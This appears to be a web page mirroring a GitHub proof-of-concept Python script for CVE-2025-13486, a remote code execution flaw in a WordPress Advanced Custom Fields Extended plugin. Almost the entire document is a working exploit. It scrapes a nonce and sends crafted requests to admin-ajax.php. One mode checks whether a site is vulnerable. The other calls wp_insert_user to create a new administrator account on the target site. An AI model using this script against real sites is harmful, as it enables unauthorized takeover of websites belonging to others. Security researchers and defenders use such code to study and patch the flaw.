4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.py PY
import requests
import sys
import random
import string
import argparse
from urllib.parse import urljoin

def generate_random_string(length=8):
    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))

def get_nonce(url):
    try:
        response = requests.get(url, verify=False, timeout=10)
        # Look for acf.nonce in the response text
        import re
        match = re.search(r'acf\.data.*?"nonce":"([a-f0-9]+)"', response.text)
        if match:
            return match.group(1)

    except:
        pass
    return None

def verify_vulnerability(url):
    """
    Verify the vulnerability using print_r with a random string.
    """
    target_url = urljoin(url, "/wp-admin/admin-ajax.php")
    random_marker = generate_random_string(12)
    
    print(f"[*] Target: {target_url}")
    print(f"[*] Verifying vulnerability with random marker: {random_marker}")
    
    nonce = get_nonce(url)
    if nonce:
        print(f"[*] Found Nonce: {nonce}")
    else:
        print(f"[-] Could not find nonce, attempting without it (might fail).")
    
    # Payload using print_r to verify vulnerability
    payload = {
        "action": "acfe/form/render_form_ajax",
        "nonce": nonce if nonce else "",
        "form[render]": "print_r",
        "form[custom_payload]": random_marker,
    }
    
    try:
        response = requests.post(target_url, data=payload, verify=False, timeout=10)
        
        print(f"[*] Request sent. Status Code: {response.status_code}")
        
        if random_marker in response.text:
            print(f"\n[+] VULNERABLE! Random marker found in response.")
            print(f"[+] The target is vulnerable to CVE-2025-13486.")
            return True
        else:
            print(f"\n[-] Not vulnerable or marker not found in response.")
            return False
            
    except requests.exceptions.RequestException as e:
        print(f"[-] Error sending request: {e}")
        return False

def exploit(url, username, password, email):
    target_url = urljoin(url, "/wp-admin/admin-ajax.php")
    
    print(f"[*] Target: {target_url}")
    
    nonce = get_nonce(url)
    if nonce:
        print(f"[*] Found Nonce: {nonce}")
    else:
        print(f"[-] Could not find nonce, attempting without it (might fail).")

    print(f"[*] Creating Admin User:")
    print(f"    User: {username}")
    print(f"    Pass: {password}")
    print(f"    Email: {email}")

    # Payload to exploit call_user_func_array($form['render'], array($form))
    # Action: acfe/form/render_form_ajax
    
    payload = {
        "action": "acfe/form/render_form_ajax",
        "nonce": nonce if nonce else "",
        "form[render]": "wp_insert_user",
        "form[user_login]": username,
        "form[user_pass]": password,
        "form[user_email]": email,
        "form[role]": "administrator",
    }

    try:
        response = requests.post(target_url, data=payload, verify=False, timeout=10)
        
        print(f"[*] Request sent. Status Code: {response.status_code}")
        # print(response.text) # Debugging
        
        print("\n[+] Exploit attempt finished.")
        print("[*] Please manually verify by logging in with the created credentials.")
        
    except requests.exceptions.RequestException as e:
        print(f"[-] Error sending request: {e}")

def main():
    parser = argparse.ArgumentParser(description="CVE-2025-13486 PoC - ACFE RCE (Admin Creation)")
    parser.add_argument("-u", "--url", required=True, help="Target WordPress URL (e.g., http://example.com)")
    parser.add_argument("--verify", action="store_true", help="Only verify vulnerability (safer, uses print_r)")
    parser.add_argument("--user", help="Username to create (default: random)")
    parser.add_argument("--password", help="Password to set (default: random)")
    parser.add_argument("--email", help="Email to set (default: random)")

    args = parser.parse_args()

    if args.verify:
        # Run verification mode
        verify_vulnerability(args.url)
    else:
        # Run full exploit mode (create admin user)
        username = args.user if args.user else "admin_" + generate_random_string(5)
        password = args.password if args.password else generate_random_string(12)
        email = args.email if args.email else f"{username}@example.com"

        exploit(args.url, username, password, email)

if __name__ == "__main__":
    main()